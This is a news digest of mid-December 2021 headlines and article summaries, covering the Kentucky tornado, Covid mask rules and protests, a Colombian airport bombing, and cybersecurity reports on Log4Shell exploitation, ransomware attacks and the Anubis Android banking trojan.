GIST	Kentucky Governor Andy Beshear said Tuesday the state's death toll in what he described as one of "the worst tornado events" in Kentucky history remains at 74, and 12 of those who died were children. The youngest victim was 2 months old and the oldest was 98.

"There are unquestionably more than 100 people that are still unaccounted for," Beshear said at a press briefing.

Officials do not believe the death count will be finalized for several more days.

Officials have started to clear away debris from the storm and continue damage assessment. Boil water advisories remain in effect for dozens of counties, and Beshear said utility companies are working to restore full power, traffic signals and clean water.

"It feels pretty good to not just be pushing this stuff out of the way, but to be loading it up and taking it out of town," Beshear said Tuesday. "There's something therapeutic about taking that chaos and destruction and death and getting it out."

Rescue groups are still on-site at the Mayfield Consumer Products candle factory, where 8 people died during the storm. Beshear said the owners believe "they have located everyone" and body searching canines have not alerted to any more bodies, which Beshear called a miracle.

Kentucky State Police are still investigating whether any negligence was involved in keep employees inside the plant and are asking all employees to report to a Mayfield, Kentucky church for interviews.

At least 152 rooms have already been provided for displaced residents and families in need of emergency housing in state parks. Residents still struggling with food or housing are encouraged to reach out to their local rescue groups

"We will take care of you," Beshear said.

At least 14 other people were killed in Arkansas, Illinois, Tennessee and Missouri. On Wednesday, President Joe Biden will travel to Kentucky to assess the damage in person and speak to state and local officials.

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HEADLINE	12/14 San Francisco exempt from mask rule
SOURCE	https://abcnews.go.com/Health/wireStory/california-exempts-san-francisco-covid-indoor-mask-rule-81760533
GIST	<p>SAN FRANCISCO -- California is exempting San Francisco from a rule that takes effect Wednesday requiring all people to wear masks indoors in a bid to contain a troubling rise in new coronavirus cases.</p> <p>San Francisco will continue to allow fully vaccinated people to remove their masks in gyms and workplaces while its overall masking mandate remains in effect, the city Department of Public Health announced.</p> <p>"It's a recognition of all of the thought and care that San Francisco residents have been putting into staying as safe as possible," said Dr. Susan Philip, San Francisco's health officer.</p> <p>About 86% of eligible San Francisco residents have received at least one vaccine dose, according to the public health department.</p> <p>San Francisco businesses were relieved that the city can continue permitting fully vaccinated people to go maskless in some indoor locations.</p> <p>"To have any disruption at all in the progress we've made over the last year and a half in getting customers back would have been devastating," Dave Karraker, co-owner of MX3 Fitness and spokesman for the San Francisco Independent Fitness Studio Coalition, told the San Francisco Chronicle.</p> <p>Several other San Francisco Bay Area counties also had relaxed masking rules for vaccinated people but it wasn't immediately clear whether the state would exempt them, too.</p>

California lifted its statewide mask mandate on June 15 for people who were vaccinated, a date that Gov. Gavin Newsom heralded as the state's grand reopening.

But health officials are worried about the spread of the new omicron COVID-19 variant, which health officials believe can spread more easily than the original and delta strains. The virus is particularly hitting the unvaccinated.

The new mandate, which will remain in force until at least Jan. 15, also is aimed at reducing the COVID-19 risk when friends and families travel or gather indoors for the holidays.

However, officials haven't specified how it will be enforced and have acknowledged that much will depend on voluntary public compliance.

After California lifted its statewide indoor mask mandate this summer, county governments covering about half of the state's population imposed their own mandates as case rates surged with new variants.

The order comes as the statewide seven-day average rate of new coronavirus cases has jumped 47% since Thanksgiving and hospitalizations have risen by 14%, according to the state Department of Public Health.

That's still far below a surge last winter — before vaccines were available — when the state averaged more than 100 cases per 100,000 people and nearly 20,000 people died during an eight-week period.

What's worrying now is that even though more than 70% of eligible Californians are fully vaccinated, some areas of the state still have low vaccination rates that put communities of greater risk for the coronavirus, according to the health department.

"Given the current hospital census, which is at or over capacity, even a moderate surge in cases and hospitalizations could materially impact California's health care delivery system within certain regions of the state," the department said.

California joins other states with similar indoor mask mandates, including Washington, Oregon, Illinois, New Mexico, Nevada, Hawaii, and New York.

California also is tightening existing testing requirements by ordering unvaccinated people attending indoor events of 1,000 people or more to have a negative test within one or two days, depending on the type of test. The state also is recommending travelers who visit or return to California to get tested within five days of their arrival.

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HEADLINE	12/14 Colombia: explosion near airport kills police
SOURCE	https://abcnews.go.com/International/wireStory/explosion-colombia-airport-kills-policemen-81745547
GIST	<p>BOGOTA, Colombia -- Two explosions hit the airport in the Colombian border city of Cucuta on Tuesday, killing two policemen and a person believed to be carrying an explosive.</p> <p>Defense Minister Diego Molano said the blasts were caused by "terrorist" groups that operate in the city of half a million people, which is located on the border with Venezuela and is a hub for commerce and migration.</p> <p>Police said the first blast took place at 5 a.m. as a man carrying explosives tried to climb over a fence that separates the airport's runway from one of the city's neighborhoods. The man died instantly in the blast. About an hour later a second blast occurred as police inspected a package that had been left in the area, killing two members of the police's anti-explosives squad.</p>

Though the explosions took place near the airport's runway, the passenger terminal was not affected. But flights were suspended and passengers were evacuated from the building.

Authorities offered a reward of roughly \$25,000 for information about the attack.

Cucuta is the capital of North Santander state, a border region that has recently seen a surge in fighting between guerrilla groups and drug trafficking gangs that are vying for control of coca crops and trafficking routes.

In June, a car bomb was set off at a military base in the outskirts of the city, where U.S. military advisers were working. Then in August a bomb was set off outside a police station, injuring 14 people. President Ivan Duque's helicopter was also shot at during a recent visit to the city. The president emerged unharmed from the attack.

Armed organizations operating in North Santander include the National Liberation Army guerrilla group, and dissident groups formed by former members of the Revolutionary Armed Forces of Colombia who refused to sign a 2016 peace deal with Colombia's government.

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HEADLINE	12/14 Germany: Covid protests escalate; violence
SOURCE	https://www.dw.com/en/covid-protests-escalate-in-germany/a-60118647
GIST	<p>If you follow the self-proclaimed "Free Saxons" (Freie Sachsen) on the messaging service Telegram, you get the impression Germany is heading toward the abyss: Thuggish gangs are on the move. A mob rules the streets. There is a "war against vaccination opponents," led by a regime and a dictator.</p> <p>In their Telegram messages, the "Free Saxons" aren't talking about criminal gangs, but about democratic institutions: The police, and also Saxony's elected state premier, Michael Kretschmer, who has received death threats.</p> <p>Tens of thousands of people read these and often inflammatory missives. And it doesn't stop at reading. They also network on Telegram and often organize illegal gatherings.</p> <p>Again on Monday, December 13, they gathered in several cities. Riots broke out and several police officers were injured.</p> <p>The focus is on the eastern state of Saxony. TV reports show elderly average citizens, saying they're upset about contact restrictions and mandatory vaccinations — and about the decision-making of ruling politicians.</p> <p>Observers, however, consider participants at the demonstrations to be anything but harmless. Benjamin Winkler from the Berlin Amadeu Antonio Foundation has been watching developments in Saxony for years. He does not see the protests as expressions of spontaneous neighborly displeasure.</p> <p>"Those who take to the streets, to a large extent, are a mixture of the far-right extremist scene, the far-right Reichsbürger scene, conspiracy theorists, hooligans, and an alternative esoteric scene," he says. The Reichsbürger movement denies the existence and authority of the modern-day German government.</p> <p>Much of the protests are supported by members of the far-right Alternative for Germany party (AfD), which is strong in Saxony.</p> <p>Telegram as a catalyst</p> <p>The self-proclaimed "Free Saxons" are a regional micro-party, but they're currently attracting enormous attention and reach via social media — far beyond the state of Saxony. The organization is classified as far-right extremist by Germany's federal domestic intelligence services, which finds that several proponents are firmly integrated into radical and neo-Nazi organizations.</p>

They're able to spread their hatred mainly through Telegram, a platform that does not moderate debates or sanction calls for violence made on the messaging service.

And the "Free Saxons" are taking advantage of this: They have set up a network of 100 Telegram channels and 80 regional groups in Saxony alone, according to Simone Raffael from the Amadeu Antonio Foundation. "The main channel is growing every hour. We're seeing the tone of debate becoming more and more radical."

That also applies to the protest action. Just recently, the "Free Saxons" gathered with whistles, drums, and torches in front of the Saxon health minister's house.

In Germany, this reminds many of the beginnings of Nazi terror on the streets in the 1930s. And it raises concern with those who remember the deadly shooting of politician Walter Lübcke, of the center-right Christian Democrats, in front of his own home in 2019 by a right-wing extremist.

New government talks tough

Germany's new Interior Minister Nancy Faeser of the Social Democrats (SPD) has already taken aim at Telegram.

"We have to be more determined to combat hate speech and calls to violence on the internet," Faeser told the Funke media group. She sharply criticized Telegram for violating German law and refusing to cooperate with authorities. "This federal government will not accept that," she said.

There is also mounting local resistance against the militant and organized COVID protests.

Doritta Korte has been a member of the Colorido Association, a grassroots group in the city of Plauen that has been working for democracy and peaceful coexistence in Saxony for years. She, too, has observed that the far-right is becoming increasingly radical.

"We receive threats, even death threats. We find dead animals in our mailboxes," says Korte. Many members of the association are reaching the limit of what they can bear, adding that they feel there's a lack of political support. Saxony's state government is doing too little against the militant and mostly illegal COVID protests, she says.

The quiet majority is getting louder

The developments seem to alarm more and more people — especially in Saxony. In many small towns, residents are getting together and launching public appeals. They accuse coronavirus protesters of using the pandemic only to "incite unrest, endanger democracy and divide society."

And those who take a stand against the far-right outnumber the violent protesters: In the city of Bautzen, for example, a few hundred far-right Reichsbürger and other extremists have been making headlines with their protest for months, but more than 3,000 people signed the "Declaration: Bautzen together" — within just one day.

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Cyber Awareness

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HEADLINE	12/15 Nation-state groups abuse Log4Shell flaw
SOURCE	https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-and-turkey/
GIST	Nation-state groups from China, Iran, North Korea, and Turkey are now abusing the Log4Shell (CVE-2021-44228) vulnerability to gain access to targeted networks, Microsoft said on Tuesday.

“This activity ranges from experimentation during development, integration of the vulnerability to in-the-wild payload deployment, and exploitation against targets to achieve the actor’s objectives,” the company said in an update on its [Log4Shell guidance blog post](#).

Known threat actors linked to Log4Shell attacks include Phosphorus (Iran) and Hafnium (China). Microsoft did not name the threat actors operating out of North Korea and Turkey.

“For example, MSTIC has observed PHOSPHORUS, an Iranian actor that has been deploying ransomware, acquiring and making modifications of the Log4j exploit,” Microsoft said yesterday.

“In addition, HAFNIUM, a threat actor group operating out of China, has been observed utilizing the vulnerability to attack virtualization infrastructure to extend their typical targeting. In these attacks, HAFNIUM-associated systems were observed using a DNS service typically associated with testing activity to fingerprint systems,” the company added.

In addition, Microsoft said it has also observed multiple threat actors who serve as initial access brokers for ransomware gangs using the Log4Shell exploit to gain a foothold on corporate networks.

These groups typically sell access to these hacked networks to ransomware gangs, and Microsoft worries that Log4Shell may contribute to a spike in ransomware attacks over the coming months.

The company’s fears aren’t an isolated sentiment, having also been echoed by many security experts over the past few days [since the Log4Shell vulnerability came to light](#).

A first ransomware operation leveraging the Log4Shell exploit was spotted on Sunday. Named [Khonsari](#) (“bloodshed” in Persian), the ransomware was categorized as a low-effort skidware that tried to frame a person of Iranian descent living in Louisiana as the attacker, providing no way for victims to recover encrypted files.

This attack was one of the [several malware operations](#) that have targeted the Log4Shell exploit and used it to spread to vulnerable systems. [Over 60 variations of the Log4Shell exploit](#) have been observed in the wild so far, and attacks have been linked to DDoS botnets, crypto-mining operations, and commodity malware like [StealthLoader](#).

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HEADLINE	12/14 Oregon medical group reveals cyberattack
SOURCE	https://www.zdnet.com/article/oregon-medical-group-notifies-patients-of-cybersecurity-breach-says-fbi-seized-hellokitty-accounts/
GIST	<p>The Oregon Anesthesiology Group (OAG) said it suffered a ransomware attack in July that led to the breach of sensitive employee and patient information.</p> <p>The breach involves the information of 750,000 patients and 522 current and former OAG employees.</p> <p>In a statement, the company said it was contacted by the FBI on October 21. The FBI explained that it seized an account that contained OAG patient and employee files from HelloKitty, a Ukrainian ransomware group.</p> <p>The FBI said it believes the group exploited a vulnerability in OAG’s third-party firewall, enabling the hackers to gain entry to the network.</p> <p>"Patient information potentially involved in this incident included names, addresses, date(s) of service, diagnosis and procedure codes with descriptions, medical record numbers, insurance provider names, and insurance ID numbers," OAG explained.</p>

"The cybercriminals also potentially accessed current and former OAG employee data, including names, addresses, Social Security numbers and other details from W-2 forms on file."

The July 11 attack locked OAG out of its servers and forced them to restore their systems from off-site backups and rebuild their IT infrastructure from the ground up. Outside cybersecurity experts were hired to help with the investigation into the attack.

"According to the cyber forensics report obtained by OAG in late November, the cybercriminals, once inside, were able to data-mine the administrator's credentials and access OAG's encrypted data," OAG said.

The company has since replaced its third-party firewall and expanded the use of multifactor authentication. Victims of the incident are being provided with 12 months of Experian identity protection services and credit monitoring.

OAG added that victims should be on the lookout for scams and urged them to enroll in Experian's IdentityWorks program, which comes with up to \$1 million in identity theft insurance.

Those whose social security numbers were leaked are urged to create a mySocial Security account with the Social Security Administration, which will allow them to claim their SSN, according to OAG.

ZDNet [previously reported](#) that the HelloKitty ransomware has been active since at least 2020 and mostly targets Windows systems, with some variants being used [against Linux systems](#).

There have been a number of HelloKitty spinoffs, including a [new unnamed ransomware variant](#) and [Vice Society](#).

The FBI [sent out a warning](#) about the group in October, noting that the group was becoming known for aggressively pressuring its victims with the double extortion technique.

"In some cases, if the victim does not respond quickly or does not pay the ransom, the threat actors will launch a Distributed Denial of Service (DDoS) attack on the victim company's public facing website," the FBI said. "Hello Kitty/FiveHands actors demand varying ransom payments in Bitcoin (BTC) that appear tailored to each victim, commensurate with their assessed ability to pay it. If no ransom is paid, the threat actors will post victim data to the Babuk site (payload.bin) or sell it to a third-party data broker."

The FBI added that the group typically uses compromised credentials or known vulnerabilities in SonicWall products and once inside the network, they will use publicly available penetration tool suites such as Cobalt Strike, Mandiant's Commando, or PowerShell Empire preloaded with publicly available tools like Bloodhound and Mimikatz to map the network and escalate privileges before exfiltration and encryption.

In February, the [group was implicated](#) in a headline-grabbing ransomware attack on Polish game developer CD Projekt Red, the maker of popular games like Cyberpunk 2077 and The Witcher series.

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HEADLINE	12/14 Log4j flaw: 40% of networks targeted
SOURCE	https://www.zdnet.com/article/log4j-flaw-nearly-half-of-corporate-networks-have-been-targeted-by-attackers-trying-to-use-this-vulnerability/
GIST	<p>The number of attacks aiming to take advantage of the recently disclosed security flaw in the Log4j2 Java logging library continues to grow.</p> <p>The vulnerability (CVE-2021-44228) was publicly disclosed on December 9 and enables remote code execution and access to servers. What makes it such a major issue is Log4j is widely used in commonly deployed enterprise systems.</p>

In some cases, organisations may not even be aware that the Java logging library forms part of the applications they're using, meaning they could be vulnerable without knowing it. Online attackers have been quick to take advantage of the vulnerability – [also known as Log4Shell](#) – as soon as they can.

There was evidence of [attackers scanning for vulnerable systems and dropping malware just hours after Log4J was publicly disclosed](#).

At that point it was reported that there were over 100 attempts to exploit the vulnerability every minute. "Since we started to implement our protection we prevented over 1,272,000 attempts to allocate the vulnerability, over 46% of those attempts were made by known malicious groups," said cybersecurity company Check Point.

And according to Check Point, attackers have now attempted to exploit the flaw on over 40% of global networks.

The number of successful exploits is likely to be much lower, but the figure shows that there are those out there who are looking to try their luck against a new – and potentially difficult to patch – vulnerability.

"Unlike other major cyberattacks that involve one or a limited number of software, Log4j is basically embedded in every Java-based product or web service. It is very difficult to manually remediate it," [Check Point said in a blog post](#).

Some of the attacks launched by exploiting the Log4j vulnerability include delivering cryptomining malware, along with delivering Cobalt Strike, a legitimate penetration-testing tool that cyber criminals have been known to use to steal usernames and passwords to gain further access to networks.

National cybersecurity bodies around the world have been quick to issue warnings as to how dangerous Log4j could be.

Jen Easterly, director of CISA [described the Log4J vulnerability](#) as "one of the most serious that I've seen in my entire career, if not the most serious".

Meanwhile, the UK's National Cyber Security Centre (NCSC) [has urged](#) organisations to install the latest updates wherever Log4j is known to be used.

"The key step for organisations is to patch enterprise software quickly, and for developers using Log4j to update and distribute their software as soon as possible," said an NCSC spokesperson in an email to ZDNet.

"For the public it's important to keep updating devices as developers' understanding of the vulnerability grows," they added.

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HEADLINE	12/14 DHS establishes bug bounty program
SOURCE	https://www.cyberscoop.com/hack-dhs-alejandro-mayorkas-bug-bounty/
GIST	<p>The Homeland Security Department is launching a bug bounty program to invite researchers to probe its systems for flaws, DHS Secretary Alejandro Mayorkas said Tuesday.</p> <p>Under the “Hack DHS” initiative Mayorkas discussed at the Bloomberg Technology Summit, ethical hackers would receive between \$500 and \$5,000 for identifying vulnerabilities, depending on their severity. The department would verify flaws within 48 hours and fix them within 15 days, or for complex bugs, develop a plan to do so during that period.</p>

“We’re focused not only on protecting and enhancing the cybersecurity of the private sector and of the federal government at large but, of course, we as a department have to lead by example and so what we are very focused on is identifying vulnerabilities and addressing or remediating those vulnerabilities,” [Mayorkas](#) said.

DHS is later to the bug bounty trend than some other federal agencies, with the Defense Department initiating its “Hack the Pentagon” pilot back in 2016. [The IRS that same year](#) began the first civilian federal agency bug bounty program.

In January of 2019, President Donald Trump signed a bill into law that directed DHS to develop a test bug bounty program within six months. While Mayorkas didn’t say how much money “Hack DHS” would cost, the Congressional Budget Office estimated that one year of the pilot program under that legislation would cost \$250,000.

“We’re really investing a great deal of money, as well as attention and focus on this program,” Mayorkas said of the potentially permanent initiative. A DHS spokesperson didn’t immediately respond to questions about the program’s ongoing cost, kickoff date and more.

The program will, however, run throughout fiscal year 2022, which began in October, according to a DHS announcement.

[The bug bounty pilot legislation](#) placed the DHS chief information officer in charge of the program, and gave the office leeway to determine which information systems would be applicable. DHS says that for the fuller program, hackers will work in three phases, conducting assessments first on some external systems, followed by a live in-person hacking event and concluding with a “lessons” learned segment and plan for future events. The CIO will oversee the program with the Cybersecurity and Infrastructure Security Agency.

DOD has been pleased with its program, continually expanding it to authorize hackers to pursue new targets, most recently in May [opening it up to all publicly accessible DOD information systems](#), industrial control systems, the internet of things and more. Throughout its existence, the program has received more than 29,000 vulnerability reports, 70% of which has DOD validated.

“This expansion is a testament to transforming the government’s approach to security and leapfrogging the current state of technology within DOD,” said Brett Goldstein, then-director of the Defense Digital Service.

[Critics of bug bounty programs](#), however, contend that they can undermine security by placing an emphasis on lesser bugs that organizations become too reliant upon in their overall security setups, [among other potential ill side effects](#).

DHS this year did establish a vulnerability disclosure program setting terms for how ethical hackers can notify the department of vulnerabilities. [It also issued a directive last year](#) for federal agencies to set up such programs.

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HEADLINE	12/14 CISA probes scope, fallout Log4j flaw
SOURCE	https://www.cyberscoop.com/cisa-log4j-products-khonsari-china/
GIST	<p>A top government cyber official said Tuesday that the Cybersecurity and Infrastructure Security Agency hasn’t seen hackers compromise federal agencies by exploiting the Apache Log4j vulnerability — but the agency’s still fearful of widespread attacks stemming from it.</p> <p>Most of all, CISA’s Eric Goldstein said during a phone call Tuesday evening, the government is eager for help from the public in assembling a comprehensive list of all the products that might be susceptible to</p>

hackers using the vulnerability, known as Log4Shell in the widely deployed logging library, which [the agency expects could affect hundreds of millions of devices](#) or more.

[CISA](#) and private sector cybersecurity investigators have struck exceptionally dire notes about the potential fallout that have not, as of yet, come to fruition. It's that unknown potential, however, that has prompted CISA to try to get organizations to patch their systems and take other steps to secure them.

"Certainly given the nature of this vulnerability, the triviality of exploitation, the ubiquity of the presence across enterprise, consumer and IoT [internet of things] products — really, our broad focus here is driving mitigation across the board, recognizing that malicious cyber actors of all types may decide to use this vulnerability to achieve a variety of attack types or drive a variety of malicious ends," said Goldstein, executive assistant director of at CISA, a wing of the Department of Homeland Security.

Via the vulnerability, attackers could gain "potentially deep access into a target network, possibly allowing them to exfiltrate information or cause other harmful attacks," Goldstein said.

Goldstein said that beyond no confirmation of federal agencies being compromised, CISA also has seen no impact on "national critical functions," a category of potential targets that if attacked could have severe effects on national security, the economy or public health. [CISA has directed federal agencies to take action](#) in response to the Log4j vulnerability.

There have been signs, outside CISA's warnings, of hackers working to seize on Log4Shell. [Bitdefender on Monday said it had seen a specific ransomware family](#), Khonsari, spring up in connection to the vulnerability. Charles Carmakal, senior vice president and chief technology officer of Mandiant, said the company has seen Chinese government-connected hackers exploiting the flaw.

Goldstein said CISA has not verified Mandiant's attribution on Chinese attackers and had no further information to share on Khonsari.

Mandiant said further on Tuesday that both Chinese and Iranian government hackers had been using the vulnerability, perhaps to create footholds for further activity and working from a "wish list" of targets.

"The Iranian actors who we have associated with this vulnerability are particularly aggressive, having taken part in ransomware operations that may be primarily carried out for disruptive purposes rather than financial gain," said John Hultquist, the company's vice president of intelligence analysis. "They are also tied to more traditional cyber espionage."

[CISA's list of software related to the Log4j vulnerability](#) is already extensive.

"One of our really important lines of effort here is ensuring that we have a complete and comprehensive list of impacted products," Goldstein said.

"So we have a call to action for security researchers and the broader cyber community," he said. "If you go to our GitHub page where we have created our list of vulnerable products, and if anybody sees a product that they think is vulnerable and is not on our page, please there's a page to upload or notify us of that vulnerable product."

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HEADLINE	12/14 Crooks follow bank customers to mobile
SOURCE	https://www.scmagazine.com/analysis/application-security/bad-actors-are-following-bank-customers-to-mobile
GIST	Well before the pandemic, mobile financial services were on their way up. But, in the wake of the digital banking boom, cyber-criminals are upping their own game to take advantage of all the financial customers who are new to the mobile platform or accessing it more frequently.

Financial service institutions large and small are being preyed upon by malware operators, who see the recent boom in digital channel usage (as customers' access to branches is limited) as a boon to their efforts to implement Trojans and other malware within financial mobile web sites and applications, according to Helen Brooks, vice president of secure innovation and resiliency for [Navy Federal Credit Union](#), and David Tuyo, president and CEO for [University Credit Union](#). Both credit union executives were presenters at the [SC Finance eConference](#) event Tuesday, discussing the growing risk and the importance of mitigating risk from mobile malware.

["Banking Trojans"](#) have increased, and they're more prevalent in Android because of its segmentation," Brooks said, adding that there are still security issues with the iPhone platform. More than four out of five Navy Federal Credit Union members access their accounts via the [mobile platform](#), according to Brooks. In terms of ensuring good cyber-hygiene from the start, it is critical to make sure credit unions members "are using the right application" since many bad actors will infiltrate the application download stores themselves.

But, she added, the onus of good security maintenance cannot lay upon the FSI alone. "It's common sense... you need to patch correctly, and you do not want to use a rooted or jailbroken phone... or sideload a third-party application."

Brooks, whose credit union boasts \$150 billion in assets and 11 million members (most employees of the Department of Defense), pointed out that there's a lot that their user-members can do to better protect their information and prevent against illegitimate mobile access — including simply not using a public WiFi network when banking, and making their passwords more difficult.

Tuyo, whose credit union holds \$1.1 billion in assets and has 50,000 members, said that with a "member-owned" financial institution like a credit union, there's a presumption of "a little different responsibility" — a greater need to meet members where they're at, and a greater reliance on members to consider their own cyber-hygiene. To that end, Tuyo recommended that when changing the platform or systems, FSIs conduct a "pre-mortem" to determine what aspects could fail and better prepare.

"We have a finite number of resources. We want to make sure we can allocate them to our core business and as close to the member as we can," Tuyo said. "We need to put security first and imagine that that will lead to a frictionless experience for the member."

However, as bad actors continue to "figure out how to integrate as little malicious code as possible and still get access," Brooks said that FSIs need to stay on their toes. "We need to really figure out the deep dive into security review to make sure the malicious code is not in the applications" that customers are downloading directly from the Google or Apple stores online — sites they tend to trust.

One basic cybersecurity measure that Tuyo and Brooks both endorsed and recommend other FSIs suggest to their customers is the basic "spring cleaning" of mobile applications.

"If you haven't used an application for a year, delete it," Brooks advised, adding that many customers are very trusting of QRscanning applications in general.

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HEADLINE	12/14 Christmas payroll fears after ransom attack
SOURCE	https://www.infosecurity-magazine.com/news/christmas-payroll-fears-ransomware/
GIST	<p>HR software giant UKG has been hit with a ransomware attack which may take the organization weeks to recover from, potentially imperilling festive season pay packets.</p> <p>The firm — whose workforce and HR management solutions power countless organizations including Unilever, Marriott, Sainsbury's and Hermes — said it was struck last week.</p>

“Late on Saturday, December 11, 2021, we became aware of unusual activity impacting UKG solutions using Kronos Private Cloud. We took immediate action to investigate and mitigate the issue, and have determined that this is a ransomware incident affecting the Kronos Private Cloud — the portion of our business where UKG Workforce Central, UKG TeleStaff, Healthcare Extensions, and Banking Scheduling Solutions are deployed,” said EVP Bob Hughes [in a community post](#).

“At this time, we are not aware of an impact to UKG Pro, UKG Ready, UKG Dimensions, or any other UKG products or solutions, which are housed in separate environments and not in the Kronos Private Cloud.”

The firm is working with third-party security experts and has notified the authorities. However, the above Kronos Private Cloud solutions could remain unavailable for some time.

“Given that it may take up to several weeks to restore system availability, we strongly recommend that you evaluate and implement alternative business continuity protocols related to the affected UKG solutions,” Hughes concluded.

“Support is available via our UKG Kronos Community and via our UKG Customer Support Team to provide input on your business continuity plans.”

A series of angry customers took to the community page to ask for more information and complain about a lack of support and contingency planning on the part of UKG.

“For a company your size and for the data being handled, shouldn't Kronos have a contingency plan in case this happened,” asked one.

“Where are the backups, can't the backups be restored? Are the backups stored in the same ‘cloud/space’ as production, that doesn't make sense? A few weeks to be back up and running is unacceptable.”

There have also [been reports](#) of payroll disruption among UKG clients, which, given the time of the year, will be a major blow to these companies and their employees.

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HEADLINE	12/14 Cyberattack BHG opioid treatment network
SOURCE	https://www.bleepingcomputer.com/news/security/cyberattack-on-bhg-opioid-treatment-network-disrupts-patient-care/
GIST	<p>Opioid treatment network Behavioral Health Group suffered a cyberattack that led to an almost week-long disruption of IT systems and patient care.</p> <p>Behavioral Health Group (BHG) is one of the largest networks of outpatient opioid treatment centers in the USA, with over 80 clinics throughout seventeen states.</p> <p>Last week, BHG suffered a cyberattack that forced them to shut down portions of their IT network to prevent the attack's spread.</p> <p>This computer outage caused issues at some clinics, preventing patients from receiving their normally prescribed take-home doses of methadone or suboxone, used to treat narcotics addiction.</p> <p>Patients starting a treatment plan for opioid addiction receive their doses at a clinic. However, patients in a stable treatment plan can receive take-home doses for in-home usage.</p> <p>While some BHG clinics were able to provide take-home doses, many patients reported on Reddit [1, 2, 3] that their clinics could not provide the usually prescribed medicine due to the computers being down and not able to print prescription labels.</p>

Patients told BleepingComputer that this IT outage and the lack of take-homes caused significant discomfort and stress during the past week, as they were not able to go to the clinic to receive doses each day due to work constraints or other obstacles.

After contacting BHG about the systems outage, Behavioral Health Group confirmed to BleepingComputer that a cyberattack caused the outages.

"Behavioral Health Group is investigating a security incident that impacted our network. Upon learning of the incident, we took certain systems offline out of an abundance of caution and began a thorough investigation with leading information security experts," Behavioral Health Group told BleepingComputer in a statement.

"Our primary focus remains the uninterrupted access to care for our patients. Our treatment centers are still fully operational and our clinical care teams continue to provide treatment including medication-assisted recovery to all patients."

"In parallel, our systems technology teams are focused on a safe and efficient remediation process and the restoration of our systems."

When asked follow-up questions regarding the type of cyberattack and when it occurred, Behavioral Health Group told us that they could not provide further information due to an ongoing investigation.

Likely a ransomware attack

While BHG has not disclosed the nature of the incident, it was likely caused by a ransomware attack.

Some ransomware gangs promise not to attack healthcare institutions, and if they do so by accident, they will provide a recovery key. Other ransomware operations, like Hive or Vice, do not care who they attack, and expect victims to pay regardless of the physical danger their attacks cause.

"If IT department don't want to do their job we will do ours and we don't care if it hospital or university." - Vice ransomware gang.

Furthermore, when threat actors conduct ransomware attacks, they commonly steal unencrypted data and documents before encrypting devices. This stolen data is then used as leverage by threatening to release data if a ransom is not paid.

The release of stolen data can significantly impact a company, leading to a data breach and potential lawsuits.

However, the true cost is to patients whose highly sensitive information may be disclosed publicly.

BHG patients who spoke to BleepingComputer said their biggest concern is that if threat actors stole data, it could reveal their addiction and treatment to family, friends, and employers.

There is no indication that data was stolen during the attack at this time, but if it was, we would likely learn about it in the future as the attackers attempt to extort BHG further.

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HEADLINE	12/14 Anubis Android banking malware returns
SOURCE	https://www.bleepingcomputer.com/news/security/anubis-android-malware-returns-to-target-394-financial-apps/
GIST	<p>The Anubis Android banking malware is now targeting the customers of nearly 400 financial institutions in a new malware campaign.</p> <p>The threat actors target financial institutions, cryptocurrency wallets, and virtual payment platforms by impersonating an Orange S.A. Android app that attempts to steal login credentials.</p>

The report comes from researchers at Lookout, who note that the malicious campaign is still in the testing and optimization phase.

An old but potent threat

Anubis first appeared on Russian hacking forums in 2016, shared as an open-source banking trojan with instructions on implementing its client and components.

In the years that followed, Anubis received further development work, and its newer code continued to be openly shared between actors.

In 2019, the malware added what appeared to be an almost functional [ransomware module](#) and found its way into Google's Play Store through fake apps.

In 2020, Anubis returned through large-scale phishing campaigns, targeting [250 shopping and banking apps](#).

Anubis will display fake phishing login forms when users open up apps for targeted platforms to steal credentials. This overlay screen will be shown over the real app's login screen to make victims think it's a legitimate login form when in reality, inputted credentials are sent to the attackers.

In the new version spotted by Lookout, Anubis now targets 394 apps and has the following capabilities:

- Recording screen activity and sound from the microphone
- Implementing a SOCKS5 proxy for covert communication and package delivery
- Capturing screenshots
- Sending mass SMS messages from the device to specified recipients
- Retrieving contacts stored on the device
- Sending, reading, deleting, and blocking notifications for SMS messages received by the device
- Scanning the device for files of interest to exfiltrate
- Locking the device screen and displaying a persistent ransom note
- Submitting USSD code requests to query bank balances
- Capturing GPS data and pedometer statistics
- Implementing a keylogger to steal credentials
- Monitoring active apps to mimic and perform overlay attacks
- Stopping malicious functionality and removing the malware from the device

Like previous versions, the newest Anubis detects if the compromised device has Google Play Protected enabled and pushes a fake system alert to trick the user into disabling it.

This deactivation gives the malware full access to the device, and the freedom to send and receive data from the C2 without any interference.

The actors attempted to submit an "fr.orange.serviceapp" package to the Google Play store in July 2021, but the app was rejected.

[Lookout](#) believes this was just an attempt to test Google's anti-malware detectors, as threat actors only partially implemented the obfuscation scheme.

This app's optimization and obfuscation is ongoing, concerning both the C2 communications and the app's code.

The distribution of the fake Orange app is currently taking place via malicious websites, direct messages on social media, smishing, and forum posts.

Lookout's threat researcher Kristina Balaam told Bleeping Computer that this campaign isn't targeting only French customers of Orange S.A., but American users as well.

While we can't be certain whether the app has been used in a successful attack, we do know they are targeting US banks including Bank of America, U.S. Bank, Capital One, Chase, SunTrust, and Wells Fargo.

The actor behind recent campaign

There is no concrete information on the actors who currently distribute Anubis, as they were careful enough to hide their C2 infrastructure registration trace.

The actor uses Cloudflare to redirect all network traffic through SSL, while the C2 masquerades as a cryptocurrency trading website using the domain "https://quickbitrade[.]com".

The communications between Anubis and the C2 aren't properly secured yet, but the admin panel area is beyond reach.

Considering that Anubis code circulates numerous underground hacking forums, the number of hackers using it is large, and making connections with threat actor online personas is complicated.

Customers of Orange S.A. are advised to only source the app from the telco's official website or the Google Play store.

Additionally, pay attention to the requested permissions before granting your approval whenever you download and install an app.

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HEADLINE	12/14 Log4j flaw attacks escalate
SOURCE	https://www.darkreading.com/attacks-breaches/attackers-target-log4j-to-drop-ransomware-web-shells-backdoors
